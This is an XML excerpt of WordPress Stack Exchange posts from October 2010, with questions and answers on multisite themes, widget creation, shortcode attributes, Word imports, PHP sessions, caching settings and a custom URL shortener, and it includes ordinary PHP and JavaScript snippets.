  <row Id="3071" PostTypeId="1" CreationDate="2010-10-19T22:26:48.003" Score="1" ViewCount="69" Body="&lt;p&gt;I downloaded the free &lt;a href=&quot;http://www.woothemes.com/themes/&quot; rel=&quot;nofollow&quot;&gt;Wootheme&lt;/a&gt; &lt;a href=&quot;http://www.woothemes.com/2009/02/irresistible/&quot; rel=&quot;nofollow&quot;&gt;Irrestible&lt;/a&gt; and &lt;strong&gt;if installed on a stand alone Wordpress&lt;/strong&gt;, works &lt;strong&gt;very well&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if we &lt;strong&gt;enable Multiple Sites&lt;/strong&gt; on 3.x and set this theme to be the theme of a new site it simply &lt;strong&gt;does not work&lt;/strong&gt; out-of-the-box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As WooThemes Support is only for paid customers, and being this a free theme, I can ask for support directly, so I'm kindly ask here for any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;current site with IrrestibleTheme using WP 3.0.1 multi site enable is located at&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://fortiusfitness.com/fblog&quot; rel=&quot;nofollow&quot;&gt;http://fortiusfitness.com/fblog&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;website settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/NG7nD.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I don't know what might be wrong, here is all settings to this 2nd website:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.balexandre.com/temp/2010-10-20_0020.png&quot; rel=&quot;nofollow&quot;&gt;settings&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.balexandre.com/temp/2010-10-20_0020_001.png&quot; rel=&quot;nofollow&quot;&gt;more settings&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.balexandre.com/temp/2010-10-20_0021.png&quot; rel=&quot;nofollow&quot;&gt;and more&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.balexandre.com/temp/2010-10-20_0022.png&quot; rel=&quot;nofollow&quot;&gt;and more&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.balexandre.com/temp/2010-10-20_0023.png&quot; rel=&quot;nofollow&quot;&gt;and more&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1321" LastActivityDate="2010-12-29T00:33:39.770" Title="What changes we need to make to a theme so it can be installed as a MU Theme?" Tags="&lt;3.0&gt;&lt;themes&gt;&lt;multisite&gt;&lt;settings&gt;" AnswerCount="2" />
  <row Id="3072" PostTypeId="1" CreationDate="2010-10-20T01:10:25.940" Score="3" ViewCount="357" Body="&lt;p&gt;I have some PHP code that I would like to pull out of an existing page of a template, and put into a widget so I can move it around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the quickest way to create a widget?&lt;/p&gt;&#xA;" OwnerUserId="1269" LastActivityDate="2010-10-20T04:02:20.283" Title="What is the quickest way to make a widget?" Tags="&lt;3.0&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="3073" PostTypeId="2" ParentId="3072" CreationDate="2010-10-20T01:38:39.153" Score="6" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://codex.wordpress.org/Widgets_API#Developing_Widgets_on_2.8.2B&quot; rel=&quot;nofollow&quot;&gt;Widgets API&lt;/a&gt; is the quickest way to make a widget that's reusable.  Example use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class My_Widget extends WP_Widget {&#xA;    function My_Widget() {&#xA;        // widget actual processes&#xA;    }&#xA;&#xA;    function form($instance) {&#xA;        // outputs the options form on admin&#xA;    }&#xA;&#xA;    function update($new_instance, $old_instance) {&#xA;        // processes widget options to be saved&#xA;    }&#xA;&#xA;    function widget($args, $instance) {&#xA;        // outputs the content of the widget&#xA;    }&#xA;&#xA;}&#xA;register_widget('My_Widget');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-20T01:38:39.153" />
  <row Id="3074" PostTypeId="1" AcceptedAnswerId="3114" CreationDate="2010-10-20T01:45:47.863" Score="0" ViewCount="203" Body="&lt;p&gt;I need to know if the 'Shopp' e-commerce plugin can be modified to display radio buttons instead of drop down menus for the product options. I don't need you to tell me how this can be done (though that would certainly be welcome), just if it is possible. I don't want to invest in Shopp unless it is something that has been done before and there is a thread or article on the Shopp board that explains the hack. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Seriously, I just need someone w/ access to the Shopp user forums to login and run a quick search for that kind of mod. &lt;/p&gt;&#xA;" OwnerUserId="1294" LastEditorUserId="1294" LastEditorDisplayName="" LastEditDate="2010-10-20T01:54:11.267" LastActivityDate="2010-10-21T09:06:25.147" Title="Can Shopp Commercial Plugin be hacked to display radio buttons instead of Dropdowns?" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;plugin-development&gt;&lt;e-commerce&gt;&lt;paid-plugins&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="3075" PostTypeId="2" ParentId="3072" CreationDate="2010-10-20T04:02:20.283" Score="2" ViewCount="" Body="&lt;p&gt;If you don't particularly care about having proper custom widget you can use a plugin like &lt;a href=&quot;http://wordpress.org/extend/plugins/php-code-widget/&quot; rel=&quot;nofollow&quot;&gt;PHP Code Widget&lt;/a&gt; to run your code snippet&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-20T04:02:20.283" CommentCount="3" />
  <row Id="3076" PostTypeId="1" AcceptedAnswerId="3096" CreationDate="2010-10-20T04:31:40.547" Score="1" ViewCount="113" Body="&lt;p&gt;I've been toying with the idea of developing a custom resume/portfolio theme for some time ... but just haven't gotten around to it.  Lately, though, I've fallen in love with a few new site designs and feel that it's time we had a truly interactive and dynamic theme to power resumes and portfolios with WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here it is, your opportunity to participate in a WordPress crowdsourcing project:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What features would you &lt;em&gt;most&lt;/em&gt; like to see in a resume/portfolio theme for WordPress and why?&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-10-25T14:37:17.070" LastActivityDate="2010-10-25T20:55:01.717" CommunityOwnedDate="2010-10-20T04:31:50.110" Title="Feature Survey - What would you want in a resume theme?" Tags="&lt;theme-development&gt;&lt;features&gt;&lt;survey&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="0" />
  <row Id="3077" PostTypeId="2" ParentId="3010" CreationDate="2010-10-20T07:04:29.180" Score="1" ViewCount="" Body="&lt;h3&gt;I noticed a few problems with your W3 Total Cache configuration&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Your browser cache settings are missing expires headers. Enabling browser caching will force your users browsers to store a cache of your static files and they won't need to be requested again when viewing another page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your CSS and JS are the most important to set far future expires dates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use W3TC to minify and combine your CSS and JS files.  Use the help tab to find the files and scripts to combine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a complete guide to setting up W3 Total Cache on a shared server see &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2213/what-are-the-best-practices-for-using-a-caching-plugin-on-a-shared-host&quot;&gt;my answer to a similar question.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also do not use &lt;code&gt;&amp;lt;?php flush(); ?&amp;gt;&lt;/code&gt; if you are using a caching plugin.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-10-20T07:04:29.180" CommentCount="1" />
  <row Id="3078" PostTypeId="2" ParentId="3061" CreationDate="2010-10-20T07:43:13.940" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Ben McCormack&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me suggest you consider &lt;a href=&quot;http://www.gravityforms.com&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Gravity Forms&lt;/strong&gt;&lt;/a&gt; ($39 per server) which will allow you to create great forms on the front end &lt;em&gt;(there may be some good open source form packages but I'm not too familiar with them)&lt;/em&gt; and then use &lt;em&gt;@Jan Fabry&lt;/em&gt;'s suggestion of a custom post type with Gravity Forms routing content to your custom post type when users enter the data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link that can help you with custom post types:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/128/tips-for-using-wordpress-as-a-cms/187#187&quot;&gt;&lt;strong&gt;Tips for using WordPress as a CMS?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/381/implementing-a-crunchbase-com-clone-using-wordpress/386#386&quot;&gt;&lt;strong&gt;Implementing a CrunchBase.com Clone using WordPress?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-20T07:43:13.940" />
  <row Id="3079" PostTypeId="1" CreationDate="2010-10-20T08:24:02.103" Score="1" ViewCount="138" Body="&lt;p&gt;I use this construction to implement my own shortcode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function column_with_icon($atts, $content = null) {&#xA;    extract(shortcode_atts(array(&#xA;        'icon' =&amp;gt; 'onebit_03'&#xA;    ), $atts));&#xA;&#xA;    return '&amp;lt;div class=&quot;column3&quot;&amp;gt;&#xA;    &amp;lt;img class=&quot;features-icon&quot; alt=&quot;icon&quot; src=&quot;' . get_bloginfo(&quot;template_url&quot;) . '/images/icons/' . $icon . '.png&quot;/&amp;gt;&#xA;                            &amp;lt;div class=&quot;feature-content&quot;&amp;gt;' . $content . $icon . '&amp;lt;/div&amp;gt;';&#xA;}&#xA;&#xA;add_shortcode('column-icon', 'column_with_icon');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try to add a content like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[column-icon icon=&quot;onebit_13&quot;]&#xA;&amp;lt;h3&amp;gt;What is Lorem ipsum?&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book.&amp;lt;/p&amp;gt;&#xA;&amp;lt;a href=&quot;#&quot; class=&quot;main-theme-link&quot;&amp;gt;Learn more&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;[/column-icon]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The default value of 'icon' attribute is not overridden and I get it equal 'onebit_03', not 'onebit_13'&#xA;What can I do about this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;Here is the code I use to retrieve and present the data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function skible_load_special_offer_section() {&#xA;    $content = get_option(&quot;prc_speciall_offer_text&quot;, true);&#xA;    if (get_option(&quot;prc_show_special_offer_section&quot;)) {&#xA;        echo stripslashes(do_shortcode('&amp;lt;!--Start Special offer (in border) content--&amp;gt;&#xA;                    &amp;lt;div class=&quot;border-top&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;border-middle&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;special-offer-area&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;special-offer-image-left&quot;&amp;gt;&#xA;                                &amp;lt;img alt=&quot;image&quot; src=&quot;' . get_bloginfo(&quot;template_url&quot;) . ' /colors/magic_night/special-offer-image.png&quot;/&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;special-offer-content-right&quot;&amp;gt;' . $content . '&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class = &quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class = &quot;border-bottom&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;!--End Special offer (in border) content--&amp;gt;'));&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditorDisplayName="" LastEditDate="2010-10-20T10:36:36.603" LastActivityDate="2010-10-20T11:57:13.520" Title="Shortcodes attributes defaults" Tags="&lt;shortcode&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="3080" PostTypeId="1" AcceptedAnswerId="3085" CreationDate="2010-10-20T10:26:25.103" Score="2" ViewCount="281" Body="&lt;p&gt;I have a post written in Microsoft Word with images, text and some formating. Is there some easy way to import this document into WordPress? Either a plugin for Word og perhaps a plugin inside WordPress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for something simple that also converts images. &lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2010-10-20T14:22:23.873" Title="Easy way to import a post from Word?" Tags="&lt;import&gt;&lt;microsoft&gt;" AnswerCount="2" />
  <row Id="3081" PostTypeId="2" ParentId="3079" CreationDate="2010-10-20T11:57:13.520" Score="1" ViewCount="" Body="&lt;p&gt;I have no idea what goes wrong at your setup. Clearly shortcode is properly registered, but some specific case something prevents it from being parsed correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is test code that roughly replicates how shortcode is parsed for execution :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$content = get_option(&quot;prc_speciall_offer_text&quot;, true);&#xA;$pattern = '/'.get_shortcode_regex().'/s';&#xA;preg_replace_callback( $pattern, 'var_dump', $content );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Array output should match following, according to &lt;code&gt;get_shortcode_regex()&lt;/code&gt; spec:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1/6 - An extra [ or ] to allow for escaping shortcodes with double [[]]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;2 - The shortcode name&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;3 - The shortcode argument list&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;4 - The self closing /&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;5 - The content of a shortcode when it wraps some content.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is what it dumps for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array&#xA;  0 =&amp;gt; string '[column-icon icon=&quot;onebit_13&quot;]&#xA;&amp;lt;h3&amp;gt;What is Lorem ipsum?&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book.&amp;lt;/p&amp;gt;&#xA;&amp;lt;a href=&quot;#&quot; class=&quot;main-theme-link&quot;&amp;gt;Learn more&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;[/column-icon]' (length=389)&#xA;  1 =&amp;gt; string '' (length=0)&#xA;  2 =&amp;gt; string 'column-icon' (length=11)&#xA;  3 =&amp;gt; string ' icon=&quot;onebit_13&quot;' (length=17)&#xA;  4 =&amp;gt; string '' (length=0)&#xA;  5 =&amp;gt; string '&#xA;&amp;lt;h3&amp;gt;What is Lorem ipsum?&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book.&amp;lt;/p&amp;gt;&#xA;&amp;lt;a href=&quot;#&quot; class=&quot;main-theme-link&quot;&amp;gt;Learn more&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;' (length=345)&#xA;  6 =&amp;gt; string '' (length=0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-20T11:57:13.520" />
  <row Id="3083" PostTypeId="1" CreationDate="2010-10-20T12:12:38.613" Score="6" ViewCount="417" Body="&lt;p&gt;Has anyone seen a drag&amp;amp;drop plugin for files into the media library for WP? Would be very interested with such a plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; - Seems like Google will &lt;a href=&quot;http://www.google-melange.com/gsoc/project/google/gsoc2011/jacobwg/21001&quot; rel=&quot;nofollow&quot;&gt;sponsor this project&lt;/a&gt; on GSoC 2011 &lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditorDisplayName="" LastEditDate="2011-04-27T12:41:27.877" LastActivityDate="2011-04-27T12:41:27.877" Title="Drag &amp; drop HTML5 file upload into the media library?" Tags="&lt;plugin-recommendation&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="5" />
  <row Id="3084" PostTypeId="2" ParentId="3080" CreationDate="2010-10-20T14:02:25.150" Score="0" ViewCount="" Body="&lt;p&gt;There is a &quot;Paste from Word&quot; button in the editor but in my experience, it has been buggy. If you want clean code, your best bet is to just re-create your content within the editor. On the flip side, if you paste from Word, you'll end up editing and fixing its code so much that you'll have wished you just rewrote it in the first place. &lt;/p&gt;&#xA;" OwnerUserId="1136" LastActivityDate="2010-10-20T14:02:25.150" />
  <row Id="3085" PostTypeId="2" ParentId="3080" CreationDate="2010-10-20T14:22:23.873" Score="3" ViewCount="" Body="&lt;p&gt;There are 3 ways you can import content from Word:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Paste from Word&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There's a button in the editor that allows you to paste content directly from Word.  This removes the special formatting Word uses to lay content out on the page and will make things work well on your site.  (The button is in the &quot;Kitchen Sink&quot; on the Visual editor and is circled in the image below.)&#xA;&lt;img src=&quot;http://i.stack.imgur.com/Pva1F.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Drawback:&lt;/strong&gt; you'll have to manually upload and re-add your images.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;HTML Editor&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can also copy-paste your text into the HTML mode of the editor and it will automatically strip out the special formatting Word uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Drawback:&lt;/strong&gt; you'll have to manually upload and re-add your images, and you might lose some paragraph spacing in the transfer.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://explore.live.com/windows-live-writer&quot; rel=&quot;nofollow&quot;&gt;Windows Live Writer&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;best&lt;/em&gt; option would be to use the &lt;strong&gt;free&lt;/strong&gt; &lt;a href=&quot;http://explore.live.com/windows-live-writer&quot; rel=&quot;nofollow&quot;&gt;Live Writer&lt;/a&gt; application from Windows.  This is a standalone desktop application that will take in content from Word almost perfectly (including images), allow you to tag, categorize, and set up your post, then remotely publish it on your site.  Live Writer will also upload your images for you and automatically position them in the content just the way you had them laid out in the editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Drawback:&lt;/strong&gt; Live Writer only runs on Windows ... so if you're an Apple fan, you're out of luck :-(&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-20T14:22:23.873" />
  <row Id="3086" PostTypeId="2" ParentId="3076" CreationDate="2010-10-20T15:01:57.130" Score="1" ViewCount="" Body="&lt;p&gt;In a resume site, I'd like to see the option to write up my experience both in functional terms and in chronological terms. I get to choose.  I don't want it to be strictly chronological, as I may want to draw on some earlier life experience when looking for my next job or new clients.&lt;/p&gt;&#xA;" LastActivityDate="2010-10-20T15:01:57.130" CommunityOwnedDate="2010-10-20T15:01:57.130" />
  <row Id="3087" PostTypeId="2" ParentId="266" CreationDate="2010-10-20T15:07:33.527" Score="3" ViewCount="" Body="&lt;p&gt;Access to a shell for the operations better done from the command line than the dashboard. &lt;/p&gt;&#xA;" OwnerUserId="331" LastActivityDate="2010-10-20T15:07:33.527" CommunityOwnedDate="2010-10-20T15:07:33.527" CommentCount="1" />
  <row Id="3088" PostTypeId="2" ParentId="496" CreationDate="2010-10-20T15:23:19.663" Score="0" ViewCount="" Body="&lt;p&gt;Great plugin Rick - very helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you move the onclick trigger inline instead of binding it to onload (and make a few other minor tweaks), it'll work on the Flash bulk uploader as well. With the current version the Flash loads after the jQuery load event so the objects don't exist yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;revised js:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function wos_category_click(cat){&#xA;    var container = jQuery(cat).closest(&quot;tbody&quot;);&#xA;    var cat_checked = jQuery(container).find(&quot;tr.all_categories input:checked&quot;);&#xA;    var cat_arr = jQuery(cat_checked).map(function() {&#xA;        return jQuery(this).val();&#xA;    }).get().join();&#xA;    jQuery(container).find(&quot;tr.category &amp;gt; td.field &amp;gt; input.text&quot;).val(cat_arr);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;add onclick to input in php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; onclick=&quot;wos_category_click(this)&quot; class=&quot;wos-categories-cb&quot;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;add bulk uploader form id to css file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;form#media-single-form tr.category,form#file-form tr.category {&#xA;display:none; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" LastActivityDate="2010-10-20T15:23:19.663" CommentCount="1" />
  <row Id="3089" PostTypeId="1" AcceptedAnswerId="3090" CreationDate="2010-10-20T15:35:01.997" Score="3" ViewCount="512" Body="&lt;p&gt;Im using a wfcart in my WordPress site but for some reason on certain pages WordPress drops the session I'm wondering if there is a way to enable sessions in WordPress 3?&lt;/p&gt;&#xA;" OwnerUserId="1327" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-07T23:09:20.173" LastActivityDate="2011-05-07T23:09:20.173" Title="Enabling Sessions in WordPress 3.0" Tags="&lt;3.0&gt;&lt;functions&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" />
  <row Id="3090" PostTypeId="2" ParentId="3089" CreationDate="2010-10-20T16:05:23.530" Score="4" ViewCount="" Body="&lt;p&gt;If you need to manually enable the session globally, use this in your functions.php (I included a line for manually setting a session variable as an example, not required):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'session_manager');&#xA;function session_manager() {&#xA;    if (!session_id()) {&#xA;        session_start();&#xA;    }&#xA;    $_SESSION['foo'] = 'bar';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if you wanted to manually clear the session on an event (like logging out):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_logout', 'session_logout');&#xA;function session_logout() {&#xA;        session_destroy();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="838" LastActivityDate="2010-10-20T16:05:23.530" CommentCount="1" />
  <row Id="3091" PostTypeId="1" AcceptedAnswerId="3214" CreationDate="2010-10-20T17:41:07.957" Score="2" ViewCount="223" Body="&lt;p&gt;I have several different sites running off WordPress, and the URLs tend to get fairly long and cumbersome (particularly when I try to publish them via Twitter).  I recently purchased a very short domain name, and I'd like to use it as the root of a personal URL shortening service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So ...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;http://www.eamann.com/portfolio&lt;/code&gt; would become &lt;code&gt;http://eam.me/portfolio&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;http://www.mindsharestrategy.com/wp-xmlrpc-movabletype/&lt;/code&gt; would become &lt;code&gt;http://eam.me/df3DF&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;http://www.prosepainting.com/coffee-shop-part-1/&lt;/code&gt; would become &lt;code&gt;http://eam.me/csp1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;And custom things like &lt;code&gt;http://wordpress.stackexchange.com/questions/3076/feature-survey-what-would-you-want-in-a-resume-theme&lt;/code&gt; would become &lt;code&gt;http://eam.me/wpa3076&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Basically, I want to set up and manage my own TinyURL-like server ... but with some specific requirements:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It should integrate fully with WordPress so I can dynamically create new short URLs whenever I create a page or a post (every piece of content I create on each site should have its own short URL).&lt;/li&gt;&#xA;&lt;li&gt;I can specify if I want the URL to be random (like &lt;code&gt;/df3Df&lt;/code&gt;) or I can choose a unique string instead (like &lt;code&gt;/wpa3076&lt;/code&gt;) at the time of URL creation&lt;/li&gt;&#xA;&lt;li&gt;I should be able to view/edit/manage the URLs I have in the database from within WordPress&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;At the moment, I'm leaning towards a standalone system like &lt;a href=&quot;http://yourls.org/&quot; rel=&quot;nofollow&quot;&gt;YOURLS&lt;/a&gt; that lives in its own database.  The problem I'm facing (and I'll confess now that I haven't attempted it yet) is integrating the system fully with WordPress.  I want each post to automatically suggest a short URL before I hit &quot;publish&quot; and then automatically create the URL when I finally do &quot;publish&quot; the post.  I'd also like to administer &lt;em&gt;all&lt;/em&gt; of my links from within &lt;em&gt;each&lt;/em&gt; of the sites using the service.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this even possible?  Is there already a solution around to do this?  If not, where do I start?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Cross-posted to &lt;a href=&quot;http://stackoverflow.com/questions/3980722/how-do-i-set-up-a-custom-url-shortener-for-my-posts&quot;&gt;StackOverflow&lt;/a&gt;)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-23T04:22:35.333" Title="How do I set up a custom URL shortener for my posts?" Tags="&lt;seo&gt;&lt;urls&gt;&lt;third-party-applications&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="3092" PostTypeId="1" AcceptedAnswerId="7619" CreationDate="2010-10-20T18:01:48.237" Score="1" ViewCount="134" Body="&lt;p&gt;A bit of a noob PHP question coming up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to create a generic archive style view for my custom post types. Ideally I want to create one generic template that can be used for all post-types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I use this as my have_posts query to bring in all posts of 'custom-post-type' &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA; $args=array(&#xA;   'post_type' =&amp;gt; 'custom-post-type.',&#xA;   'post_status' =&amp;gt; 'publish',&#xA;   'posts_per_page' =&amp;gt; -1,&#xA;   'caller_get_posts'=&amp;gt; 1&#xA; );&#xA; $my_query = null;&#xA; $my_query = new WP_Query($args);&#xA; if( $my_query-&amp;gt;have_posts() ) {&#xA; while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post(); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I want to do is swap out custom-post-type with the slug of the page so that whenever this template is assigned to a page, it will look for a custom-post-type of that name &amp;amp; list them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively if you know of a better way of doing it - great!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;George&lt;/p&gt;&#xA;" OwnerUserId="1298" LastActivityDate="2011-01-24T13:53:06.533" Title="Using wordpress template tags within an array" Tags="&lt;custom-post-types&gt;&lt;template&gt;&lt;php&gt;" AnswerCount="2" />
  <row Id="3093" PostTypeId="2" ParentId="3092" CreationDate="2010-10-20T18:20:36.223" Score="1" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$page = $wp_query-&amp;gt;get_queried_object();&#xA;$slug = $page-&amp;gt;post_name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PS I think next WP release will get proper custom post archives or something around that...&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-20T18:20:36.223" CommentCount="2" />
